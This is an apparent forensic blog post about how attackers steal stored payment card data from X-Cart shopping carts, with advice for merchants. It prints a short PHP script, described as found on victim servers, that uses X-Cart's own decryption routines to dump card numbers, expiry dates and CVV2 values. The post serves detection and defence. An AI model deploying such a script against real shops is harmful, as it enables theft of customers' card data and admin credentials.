Analysing X-Cart Compromises

Recently I've found myself performing a lot of forensic examinations of X-Cart shopping carts. This isn't surprising: X-Cart is a very widely adopted and relatively low cost shopping cart platform. Its popularity makes it an attractive target for attackers because the large number of target installs makes it easier for them to get a return on the investment required to understand and develop tools to compromise the platform.

It is also an attractive target because many X-Cart users are small organisations who don't have a huge budget to maintain their online presence. Because of this, many X-Cart installs are missing security patches and/or haven't been configured according to best practice.

I spoke about e-commerce compromises in my Five E-Commerce Security Myths blog posts a few months ago. In those posts I pointed out that most merchants didn't know that they were actually storing payment card data, or that they believed that stored card data was encrypted. This is especially true of merchants using X-Cart, possibly due to X-Cart's messaging around PCI-DSS and cardholder data encryption.

Most X-Cart installs that we see are either storing payment card data for use in a "Store and Download" processing methodology, or they are using a Third-party Payment Gateway API. Most merchants using a "Store and Download" model are working under the assumption that a) they are safe because the data is encrypted and b) that cardholder data removed once a transaction has been processed. Unfortunately these two assumptions are false.

Whilst it is true that most X-Cart installs encrypt stored payment card data, attackers have tried and tested techniques for reversing this encryption. Whilst we imagine that our encrypted data will take thousands of years and a foreign intelligence agency to break, the truth is more like the famous XKCD "crypto wrench" comic about encryption - the attackers just take a different path to achieve the same result in minutes.

We commonly see code similar to following 15 lines of PHP on victim systems:

DEFINE('XCART_START', true);
require_once('blowfish.php');
require_once('func.crypt.php');
require_once('config.php');

$blowfish = new ctBlowfish();

$my_link = mysql_connect($db_host, $db_user, $db_password);
$my_link = mysql_select_db($db_name, $my_link);

$result = mysql_query("select id, card_name, card_number, card_expire, card_cvv2 from xcart_customers where card_number <> ''");

while ($row = mysql_fetch_assoc($result)) {
 print text_decrypt($row['card_number'])
}

Simple, huh? When the above code is executed it will go ahead and use the decryption functions built into X-Cart to decrypt the stored data for the attacker. X-Cart use the same encryption methods to store their login credentials as well, so an attacker with the ability to run the above code will also obtain all of the administrator's usernames and passwords.

Of course, attackers first need to gain the ability to run the above PHP code in the victim environment. There are a number of ways that we see this happen:

• Missing X-Cart patches - There are a number of publicly disclosed, serious security flaws in older versions of X-Cart. Attackers know about and make use of these to inject malicious software into victim environments.

• Poorly configured shared hosting environments - X-Cart is often installed in shared hosting environments due to their relatively low cost. In a shared environment it is critical that the file permissions on X-Cart's config.php file are secure. If any other user in the environment can see the contents of config.php they will have the database access credentials and encryption keys required to take over the shopping cart and steal all of the data within it.
• Poorly secured 3rd party modules - We often see situations where the victim has properly secured the shopping cart, but has neglected to keep other software in the same hosting account or server up to date. Common targets are the blog software Wordpress, the editor FCKEditor, forum software like vBulletin and image gallery software. The end result is the same - the attacker can execute code in the environment, thereby tricking X-Cart into handing them decrypted versions of sensitive data.

So what to do about all of this? The same three recommendations from my previous blog posts still apply:

1. Do not store payment card data - Its just not worth it. There are many third-party service providers that know how to do this better than you.
2. Keep your shopping cart (and any other software in your hosting account) up to date - The attackers know about the flaws patched by these updates and they use them. Many merchants find it difficult to install security updates because they have customised their shopping cart software in a non-standard way. You should anticipate needing to install security patches and ensure that you expand your shopping cart in a way that doesn't make it difficult to apply them.
3. Check your website regularly. If you see a new .php file that looks something like the 15 lines of PHP above, you should contact your bank.